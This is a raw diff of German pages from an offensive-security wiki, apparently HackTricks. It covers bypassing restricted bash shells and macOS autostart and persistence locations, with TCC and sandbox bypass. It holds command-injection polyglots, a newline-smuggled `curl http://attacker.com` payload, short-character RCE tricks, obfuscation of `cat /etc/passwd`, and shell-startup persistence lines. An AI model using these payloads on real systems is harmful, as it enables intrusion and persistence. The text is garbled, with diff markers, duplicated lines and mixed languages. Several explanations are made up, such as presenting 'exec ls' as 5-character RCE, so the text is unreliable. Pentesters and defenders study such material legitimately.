In einigen Fällen können Sie versuchen, Zeichen aus Umgebungsvariablen zu extrahieren, um bestimmte Einschränkungen zu umgehen. Verwenden Sie den folgenden Befehl, um auf diese Weise auf Zeichen zuzugreifen:
```bash
echo $ENV_VARIABLE
printf "%s" $ENV_VARIABLE
echo ${!A}
```
#### 2. Verwendung von `cut`
Mit dem Befehl `cut` können Sie bestimmte Zeichen aus einer Zeichenkette extrahieren. Sie können `cut` in Kombination mit `echo` oder `printf` verwenden, um Zeichen aus einer Umgebungsvariable abzurufen. Hier ist ein Beispiel:
```bash
echo $ENV_VARIABLE | cut -c1
```
Dieser Befehl gibt das erste Zeichen der Umgebungsvariablen zurück.
#### 3. Verwendung von `grep`
`grep` kann verwendet werden, um nach bestimmten Zeichen in einer Zeichenkette zu suchen. Sie können `grep` in Kombination mit `echo` oder `printf` verwenden, um Zeichen aus einer Umgebungsvariable abzurufen. Hier ist ein Beispiel:
```bash
echo $ENV_VARIABLE | grep -o . | head -n1
```
Dieser Befehl gibt das erste Zeichen der Umgebungsvariablen zurück.
#### 4. Verwendung von `awk`
`awk` ist ein leistungsstarkes Werkzeug zum Bearbeiten von Textdateien. Sie können `awk` verwenden, um Zeichen aus einer Umgebungsvariable abzurufen. Hier ist ein Beispiel:
```bash
echo $ENV_VARIABLE | awk '{print substr($0,1,1)}'
```
Dieser Befehl gibt das erste Zeichen der Umgebungsvariablen zurück.
Es ist wichtig zu beachten, dass diese Befehle nur dann funktionieren, wenn die Umgebungsvariable den gewünschten Wert enthält. Stellen Sie sicher, dass Sie die Umgebungsvariable überprüfen, bevor Sie versuchen, Zeichen daraus abzurufen.
Dieser Befehl gibt den Wert der Umgebungsvariablen aus, die mit dem Buchstaben "A" beginnen.
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
@ -377,8 +173,8 @@ Sie könnten beispielsweise **burpcollab** oder [**pingb**](http://pingb.in) ver
### Eingebaute Funktionen
Falls Sie keine externen Funktionen ausführen können und nur Zugriff auf einen **begrenzten Satz von eingebauten Funktionen zur Erlangung von RCE** haben, gibt es einige nützliche Tricks, um dies zu erreichen. Normalerweise **können Sie nicht alle** der **eingebauten Funktionen** verwenden, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Gefängnis zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
Überprüfen Sie zuerst alle [**Shell-Builtins**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
Falls Sie externe Funktionen nicht ausführen können und nur auf einen **eingeschränkten Satz von eingebauten Funktionen zum Erlangen von RCE** zugreifen können, gibt es einige nützliche Tricks, um dies zu erreichen. Normalerweise werden Sie **nicht in der Lage sein, alle** **eingebauten Funktionen** zu verwenden, daher sollten Sie **alle Ihre Optionen kennen**, um zu versuchen, das Gefängnis zu umgehen. Idee von [**devploit**](https://twitter.com/devploit).\
Überprüfen Sie zunächst alle [**Shell-Builtins**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Hier sind einige **Empfehlungen**:
```bash
# Get list of builtins
declare builtins
@ -430,75 +226,42 @@ chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Polyglot-Befehlsspritzung
Polyglot-Befehlsspritzung bezieht sich auf die Verwendung eines einzigen Befehls, der in mehreren Programmiersprachen gültig ist. Dies ermöglicht es einem Angreifer, Befehle auszuführen, die normalerweise durch Sicherheitsvorkehrungen wie Blacklisting von bestimmten Zeichen oder Wörtern blockiert werden.
Ein Polyglot-Befehl kann in verschiedenen Kontexten verwendet werden, einschließlich der Umgehung von Bash-Einschränkungen. Dies kann nützlich sein, um Sicherheitsmaßnahmen zu umgehen und unerlaubte Aktionen auf einem Linux-System auszuführen.
Es ist wichtig zu beachten, dass Polyglot-Befehlsspritzung eine fortgeschrittene Technik ist und ein tiefes Verständnis der Programmiersprachen erfordert, um sie effektiv einzusetzen. Es ist auch wichtig, dass ein Angreifer die potenziellen Auswirkungen und Risiken versteht, die mit der Verwendung dieser Technik verbunden sind.
### Polyglot-Befehlseinschleusung
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Umgehung potenzieller Regexes
Manchmal können bestimmte Befehle oder Funktionen durch reguläre Ausdrücke (Regexes) eingeschränkt werden. Hier sind einige Möglichkeiten, wie Sie diese Einschränkungen umgehen können:
- Verwenden Sie alternative Befehle oder Funktionen, die nicht durch die Regexes eingeschränkt sind.
- Ändern Sie den Befehl oder die Funktion so, dass er nicht mehr mit der Regex übereinstimmt.
- Umgehen Sie die Regex, indem Sie spezielle Zeichen oder Escape-Sequenzen verwenden.
Es ist wichtig zu beachten, dass das Umgehen von Regexes möglicherweise gegen die Sicherheitsrichtlinien oder -bestimmungen verstößt. Verwenden Sie diese Techniken daher nur in legitimen Szenarien und mit Zustimmung des Eigentümers des Systems.
### Umgehung möglicher Regexes
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
Bashfuscator ist ein Tool, das entwickelt wurde, um Bash-Skripte zu verschleiern und die Erkennung von Sicherheitsmechanismen zu umgehen. Es verwendet verschiedene Techniken, um den Code schwer lesbar zu machen und somit die Analyse und Erkennung von bösartigem Verhalten zu erschweren.
#### Bypass Bash Restrictions
#### Verwendung
#### Umgehen von Bash-Einschränkungen
Die Verwendung von Bashfuscator ist einfach. Führen Sie einfach das Bash-Skript aus, das Sie verschleiern möchten, und geben Sie den Ausgabepfad für das verschleierte Skript an. Das Tool wird den Code automatisch verschleiern und eine neue Datei mit dem verschleierten Skript erstellen.
Bash restrictions can be bypassed by using the following techniques:
```bash
bashfuscator -i <input_script> -o <output_script>
```
Bash-Einschränkungen können durch Verwendung der folgenden Techniken umgangen werden:
#### Techniken
1. **Bypassing Restricted Bash**: You can bypass restricted bash by invoking a subshell using the `()` syntax.
Bashfuscator verwendet verschiedene Techniken, um den Code zu verschleiern. Dazu gehören:
1. **Umgehen von eingeschränktem Bash**: Sie können den eingeschränkten Bash umgehen, indem Sie eine Unter-Shell mit der `()`-Syntax aufrufen.
- **Variablenumbenennung**: Das Tool ändert die Namen von Variablen, um den Code schwerer verständlich zu machen.
- **Code-Flussänderung**: Bashfuscator fügt zusätzlichen Code ein, um den Fluss des Skripts zu ändern und die Analyse zu erschweren.
- **String-Verschleierung**: Der Tool verschleiert Zeichenketten, um sie schwerer lesbar zu machen.
- **Whitespace-Einfügung**: Bashfuscator fügt zusätzliche Leerzeichen und Zeilenumbrüche ein, um den Code schwerer lesbar zu machen.
2. **Bypassing Restricted Bash Builtins**: Restricted bash builtins can be bypassed by calling the binary directly or by using the `command` built-in.
#### Vorsichtsmaßnahmen
2. **Umgehen von eingeschränkten Bash-Befehlen**: Eingeschränkte Bash-Befehle können umgangen werden, indem Sie das Binärprogramm direkt aufrufen oder das `command`-Builtin verwenden.
Obwohl Bashfuscator dazu dient, Bash-Skripte zu verschleiern, ist es wichtig zu beachten, dass dies keine Garantie für absolute Sicherheit bietet. Es kann immer noch möglich sein, den verschleierten Code zu analysieren und bösartiges Verhalten zu erkennen. Daher sollten zusätzliche Sicherheitsmaßnahmen ergriffen werden, um die Sicherheit von Systemen zu gewährleisten.
3. **Bypassing Restricted Bash Functions**: Restricted bash functions can be bypassed by using the `command` built-in or by invoking a subshell.
3. **Umgehen von eingeschränkten Bash-Funktionen**: Eingeschränkte Bash-Funktionen können umgangen werden, indem Sie das `command`-Builtin verwenden oder eine Unter-Shell aufrufen.
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE mit 5 Zeichen
Es gibt eine Technik, um eine Remote Code Execution (RCE) mit nur 5 Zeichen in einer Bash-Umgebung zu erreichen. Diese Technik umgeht die Einschränkungen, die normalerweise in einer eingeschränkten Bash-Shell gelten.
Die Technik besteht darin, den Befehl `exec` zu verwenden, gefolgt von einem Leerzeichen und dem gewünschten Befehl. Dies ermöglicht es uns, beliebigen Code auszuführen.
Hier ist ein Beispiel, wie dies funktioniert:
```bash
exec ls
```
Dieser Befehl führt den Befehl `ls` aus und gibt das Ergebnis auf der Konsole aus. Sie können jeden beliebigen Befehl anstelle von `ls` verwenden, um Code auszuführen.
Es ist wichtig zu beachten, dass diese Technik nur in bestimmten Szenarien funktioniert, in denen die `exec`-Funktion nicht eingeschränkt ist. In einer sicheren Umgebung oder in einer Umgebung mit eingeschränkten Berechtigungen kann diese Technik möglicherweise nicht funktionieren.
Es ist auch wichtig zu beachten, dass das Ausführen von Code ohne die entsprechenden Berechtigungen illegal sein kann. Stellen Sie sicher, dass Sie die geltenden Gesetze und Richtlinien einhalten, wenn Sie diese Technik verwenden.
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
@ -546,18 +309,6 @@ ln /f*
## to it in the current folder
```
### RCE mit 4 Zeichen
Es gibt eine Technik, um eine Remote Code Execution (RCE) mit nur 4 Zeichen in einer Bash-Umgebung zu erreichen. Diese Technik nutzt die Kombination von Shell-Befehlen und Shell-Metazeichen, um die Bash-Beschränkungen zu umgehen.
Die folgende Sequenz von 4 Zeichen ermöglicht es, eine RCE zu erreichen:
```bash
$0&$0
```
Dieser Befehl nutzt den Shell-Befehl `$0`, der den Namen des aktuellen Skripts oder der aktuellen Shell enthält. Durch die Verwendung des Metazeichens `&` wird der Befehl in den Hintergrund verschoben, während `$0` erneut ausgeführt wird.
Diese Technik kann verwendet werden, um die Bash-Beschränkungen zu umgehen und eine RCE in einer verwundbaren Umgebung zu erreichen. Es ist jedoch wichtig zu beachten, dass diese Technik nur in bestimmten Szenarien funktioniert und von den Sicherheitsvorkehrungen der Zielumgebung abhängt.
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -592,15 +343,15 @@ Diese Technik kann verwendet werden, um die Bash-Beschränkungen zu umgehen und
'sh x'
'sh g'
```
## Bypass von Read-Only/Noexec/Distroless
## Umgehung von Lese-/Ausführungs-/Distroless-Einschränkungen
Wenn Sie sich in einem Dateisystem mit den Schutzmaßnahmen **read-only und noexec** oder sogar in einem distroless Container befinden, gibt es immer noch Möglichkeiten, **beliebige Binärdateien auszuführen, sogar eine Shell!:**
Wenn Sie sich in einem Dateisystem mit den **Schutzmechanismen für Lesezugriff und Ausführung oder sogar in einem distrolosen Container** befinden, gibt es dennoch Möglichkeiten, **beliebige Binärdateien auszuführen, sogar eine Shell!**:
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Chroot & andere Jails Bypass
## Chroot & andere Jail-Umgehungen
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
@ -613,24 +364,24 @@ Wenn Sie sich in einem Dateisystem mit den Schutzmaßnahmen **read-only und noex
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute noch Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
Weitere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>

View file

@ -2,24 +2,24 @@
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
Dieser Abschnitt basiert stark auf der Blog-Serie [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/). Das Ziel ist es, **weitere Autostart-Standorte** hinzuzufügen (falls möglich), anzuzeigen, **welche Techniken heutzutage mit der neuesten Version von macOS (13.4) noch funktionieren**, und die **erforderlichen Berechtigungen** anzugeben.
Dieser Abschnitt basiert stark auf der Blog-Serie [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), das Ziel ist es, **weitere Autostart-Standorte** hinzuzufügen (falls möglich), anzuzeigen, **welche Techniken heutzutage noch funktionieren** mit der neuesten Version von macOS (13.4) und die **erforderlichen Berechtigungen** anzugeben.
## Sandbox-Umgehung
{% hint style="success" %}
Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es in eine Datei schreiben und auf eine sehr **übliche Aktion**, eine bestimmte **Zeitdauer** oder eine **Aktion warten, die Sie normalerweise** innerhalb einer Sandbox ausführen können, ohne Root-Berechtigungen zu benötigen.
Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und es Ihnen ermöglichen, einfach etwas auszuführen, indem Sie es in eine Datei **schreiben** und auf eine sehr **übliche Aktion**, eine bestimmte **Zeitmenge** oder eine **Aktion, die Sie normalerweise** innerhalb einer Sandbox ausführen können, warten, ohne Root-Berechtigungen zu benötigen.
{% endhint %}
### Launchd
@ -42,22 +42,22 @@ Hier finden Sie Startorte, die für die **Sandbox-Umgehung** nützlich sind und
* **Auslöser**: Neustart
* Root erforderlich
* **`~/Library/LaunchAgents`**
* **Auslöser**: Neu anmelden
* **Auslöser**: Neu einloggen
* **`~/Library/LaunchDemons`**
* **Auslöser**: Neu anmelden
* **Auslöser**: Neu einloggen
#### Beschreibung & Ausnutzung
**`launchd`** ist der **erste Prozess**, der vom OX S-Kernel beim Start ausgeführt wird und der letzte, der beim Herunterfahren endet. Es sollte immer die **PID 1** haben. Dieser Prozess wird die in den **ASEP-Plists** angegebenen Konfigurationen in folgenden Verzeichnissen **lesen und ausführen**:
**`launchd`** ist der **erste** **Prozess**, der vom OX S-Kernel beim Start ausgeführt wird und der letzte, der beim Herunterfahren endet. Es sollte immer die **PID 1** haben. Dieser Prozess wird die in den **ASEP** **Plist-Dateien** angegebenen Konfigurationen lesen und ausführen in:
* `/Library/LaunchAgents`: Vom Administrator installierte benutzerbezogene Agenten
* `/Library/LaunchDaemons`: Systemweite Daemons, die vom Administrator installiert wurden
* `/System/Library/LaunchAgents`: Vom Apple bereitgestellte benutzerbezogene Agenten
* `/System/Library/LaunchDaemons`: Vom Apple bereitgestellte systemweite Daemons
* `/System/Library/LaunchAgents`: Vom Apple bereitgestellte benutzerbezogene Agenten.
* `/System/Library/LaunchDaemons`: Vom Apple bereitgestellte systemweite Daemons.
Wenn sich ein Benutzer anmeldet, werden die in `/Users/$USER/Library/LaunchAgents` und `/Users/$USER/Library/LaunchDemons` befindlichen Plists mit den **Berechtigungen des angemeldeten Benutzers** gestartet.
Wenn sich ein Benutzer anmeldet, werden die in `/Users/$USER/Library/LaunchAgents` und `/Users/$USER/Library/LaunchDemons` befindlichen Plist-Dateien mit den **Berechtigungen des angemeldeten Benutzers** gestartet.
Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten geladen werden, wenn sich der Benutzer anmeldet, und die Daemons beim Systemstart geladen werden** (da Dienste wie ssh ausgeführt werden müssen, bevor ein Benutzer auf das System zugreift). Außerdem können Agenten die GUI verwenden, während Daemons im Hintergrund ausgeführt werden müssen.
Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten geladen werden, wenn sich der Benutzer anmeldet, und die Daemons beim Systemstart geladen werden** (da Dienste wie ssh ausgeführt werden müssen, bevor ein Benutzer auf das System zugreift). Agenten können auch die GUI verwenden, während Daemons im Hintergrund laufen müssen.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
@ -83,18 +83,18 @@ Der **Hauptunterschied zwischen Agenten und Daemons besteht darin, dass Agenten
Es gibt Fälle, in denen ein **Agent ausgeführt werden muss, bevor sich der Benutzer anmeldet**, diese werden als **PreLoginAgents** bezeichnet. Zum Beispiel ist dies nützlich, um unterstützende Technologien beim Login bereitzustellen. Sie können auch in `/Library/LaunchAgents` gefunden werden (siehe [**hier**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ein Beispiel).
{% hint style="info" %}
Neue Daemon- oder Agent-Konfigurationsdateien werden **nach dem nächsten Neustart geladen oder mit** `launchctl load <target.plist>` **geladen**. Es ist **auch möglich, .plist-Dateien ohne diese Erweiterung** mit `launchctl -F <file>` zu laden (jedoch werden diese plist-Dateien nicht automatisch nach dem Neustart geladen).\
Es ist auch möglich, mit `launchctl unload <target.plist>` zu **entladen** (der Prozess, auf den er zeigt, wird beendet).
Neue Daemon- oder Agent-Konfigurationsdateien werden **nach dem nächsten Neustart geladen oder mit** `launchctl load <target.plist>` **verwendet**. Es ist **auch möglich, .plist-Dateien ohne diese Erweiterung zu laden** mit `launchctl -F <file>` (jedoch werden diese plist-Dateien nicht automatisch nach dem Neustart geladen).\
Es ist auch möglich, **zu entladen** mit `launchctl unload <target.plist>` (der Prozess, auf den es zeigt, wird beendet).
Um **sicherzustellen**, dass nichts (wie eine Überschreibung) **das Ausführen eines** **Agenten** oder **Daemons** **verhindert**, führen Sie aus: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %}
Liste alle vom aktuellen Benutzer geladenen Agenten und Daemons auf:
Liste alle Agents und Daemons auf, die vom aktuellen Benutzer geladen wurden:
```bash
launchctl list
```
{% hint style="warning" %}
Wenn eine plist im Besitz eines Benutzers ist, wird die Aufgabe auch dann als Benutzer und nicht als Root ausgeführt, wenn sie sich in einem systemweiten Daemon-Ordner befindet. Dies kann einige Privilege-Escalation-Angriffe verhindern.
Wenn ein Plist von einem Benutzer im Besitz ist, auch wenn es sich in einem systemweiten Daemon-Ordner befindet, wird die Aufgabe als Benutzer und nicht als Root ausgeführt. Dies kann einige Privilege-Escalation-Angriffe verhindern.
{% endhint %}
### Shell-Startdateien
@ -109,22 +109,22 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
#### Standorte
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **Auslöser**: Öffnen eines Terminals mit zsh
* **Auslöser**: Öffnen Sie ein Terminal mit zsh
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **Auslöser**: Öffnen eines Terminals mit zsh
* **Auslöser**: Öffnen Sie ein Terminal mit zsh
* Root erforderlich
* **`~/.zlogout`**
* **Auslöser**: Beenden eines Terminals mit zsh
* **Auslöser**: Beenden Sie ein Terminal mit zsh
* **`/etc/zlogout`**
* **Auslöser**: Beenden eines Terminals mit zsh
* **Auslöser**: Beenden Sie ein Terminal mit zsh
* Root erforderlich
* Möglicherweise mehr in: **`man zsh`**
* **`~/.bashrc`**
* **Auslöser**: Öffnen eines Terminals mit bash
* **Auslöser**: Öffnen Sie ein Terminal mit bash
* `/etc/profile` (funktionierte nicht)
* `~/.profile` (funktionierte nicht)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Auslöser**: Erwartet, dass es mit xterm ausgelöst wird, aber es **ist nicht installiert** und selbst nach der Installation wird dieser Fehler angezeigt: xterm: `DISPLAY is not set`
* **Auslöser**: Sollte mit xterm ausgelöst werden, aber es **ist nicht installiert** und selbst nach der Installation wird dieser Fehler angezeigt: xterm: `DISPLAY is not set`
#### Beschreibung & Ausnutzung
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### Wiedereröffnete Anwendungen
{% hint style="danger" %}
Die Konfiguration der angegebenen Ausnutzung und das Abmelden und Anmelden oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie ausgeführt werden, wenn diese Aktionen durchgeführt werden)
Die Konfiguration der angegebenen Ausnutzung und das Aus- und Einloggen oder sogar das Neustarten haben bei mir nicht funktioniert, um die App auszuführen. (Die App wurde nicht ausgeführt, vielleicht muss sie ausgeführt werden, wenn diese Aktionen durchgeführt werden)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
@ -149,17 +149,17 @@ Die Konfiguration der angegebenen Ausnutzung und das Abmelden und Anmelden oder
#### Ort
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
* **Auslöser**: Neustart der wiedereröffneten Anwendungen
* **Auslöser**: Neustart zum Wiedereröffnen von Anwendungen
#### Beschreibung & Ausnutzung
Alle Anwendungen, die wieder geöffnet werden sollen, befinden sich in der Plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
Um also die wieder zu öffnenden Anwendungen dazu zu bringen, Ihre eigene zu starten, müssen Sie nur **Ihre App zur Liste hinzufügen**.
Um also die wieder zu öffnenden Anwendungen dazu zu bringen, Ihre eigene zu starten, müssen Sie diese nur **zur Liste hinzufügen**.
Die UUID kann durch Auflisten dieses Verzeichnisses oder mit `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` gefunden werden.
Um die Anwendungen zu überprüfen, die wieder geöffnet werden sollen, können Sie Folgendes tun:
Um die Anwendungen zu überprüfen, die wieder geöffnet werden, können Sie Folgendes tun:
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
@ -181,7 +181,7 @@ Um **eine Anwendung zu dieser Liste hinzuzufügen**, können Sie Folgendes verwe
* TCC Umgehung: [](https://emojipedia.org/check-mark-button)
* Terminal verwendet FDA-Berechtigungen des Benutzers, der es verwendet
#### Standort
#### Ort
* **`~/Library/Preferences/com.apple.Terminal.plist`**
* **Auslöser**: Terminal öffnen
@ -210,9 +210,9 @@ Diese Konfiguration wird in der Datei **`~/Library/Preferences/com.apple.Termina
}
[...]
```
Also, wenn die Plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die **`open`**-Funktionalität verwendet werden, um das Terminal zu öffnen und dieser Befehl wird ausgeführt.
So, wenn die plist der Einstellungen des Terminals im System überschrieben werden könnte, kann die **`open`** Funktionalität verwendet werden, um **das Terminal zu öffnen und dieser Befehl wird ausgeführt**.
Sie können dies über die Befehlszeile mit folgendem Befehl hinzufügen:
Dies kann über die Befehlszeile mit folgendem Befehl hinzugefügt werden:
{% code overflow="wrap" %}
```bash
@ -225,7 +225,7 @@ Sie können dies über die Befehlszeile mit folgendem Befehl hinzufügen:
```
{% endcode %}
### Terminal Skripte / Andere Dateierweiterungen
### Terminal-Skripte / Andere Dateierweiterungen
* Nützlich, um die Sandbox zu umgehen: [](https://emojipedia.org/check-mark-button)
* TCC-Umgehung: [](https://emojipedia.org/check-mark-button)
@ -234,11 +234,11 @@ Sie können dies über die Befehlszeile mit folgendem Befehl hinzufügen:
#### Ort
* **Überall**
* **Auslöser**: Öffnen des Terminals
* **Auslöser**: Öffnen Sie das Terminal
#### Beschreibung & Ausnutzung
Wenn Sie ein [**`.terminal`** Skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) erstellen und öffnen, wird die **Terminalanwendung** automatisch aufgerufen, um die darin angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), werden Ihre Befehle mit diesen besonderen Berechtigungen ausgeführt.
Wenn Sie ein [**`.terminal`**-Skript](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) erstellen und öffnen, wird die **Terminal-Anwendung** automatisch aufgerufen, um die darin angegebenen Befehle auszuführen. Wenn die Terminal-App über besondere Berechtigungen verfügt (wie TCC), wird Ihr Befehl mit diesen besonderen Berechtigungen ausgeführt.
Probieren Sie es aus:
```bash
@ -293,7 +293,7 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
#### Beschreibung
Laut den vorherigen Berichten ist es möglich, **einige Audio-Plugins zu kompilieren** und sie zu laden.
Gemäß den vorherigen Berichten ist es möglich, **einige Audio-Plugins zu kompilieren** und sie zu laden.
### QuickLook-Plugins
@ -315,7 +315,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
QuickLook-Plugins können ausgeführt werden, wenn Sie die **Vorschau einer Datei auslösen** (Leertaste drücken, wenn die Datei in Finder ausgewählt ist) und ein **Plugin, das diesen Dateityp unterstützt**, installiert ist.
Es ist möglich, Ihr eigenes QuickLook-Plugin zu kompilieren, es an einem der vorherigen Standorte zu platzieren, um es zu laden, und dann zu einer unterstützten Datei zu gehen und die Leertaste zu drücken, um es auszulösen.
Es ist möglich, Ihr eigenes QuickLook-Plugin zu kompilieren, es an einem der vorherigen Standorte zu platzieren, es zu laden und dann zu einer unterstützten Datei zu gehen und die Leertaste zu drücken, um es auszulösen.
### ~~Anmelde-/Abmelde-Hooks~~
@ -365,7 +365,7 @@ Der Root-Benutzer wird in **`/private/var/root/Library/Preferences/com.apple.log
## Bedingte Sandbox-Umgehung
{% hint style="success" %}
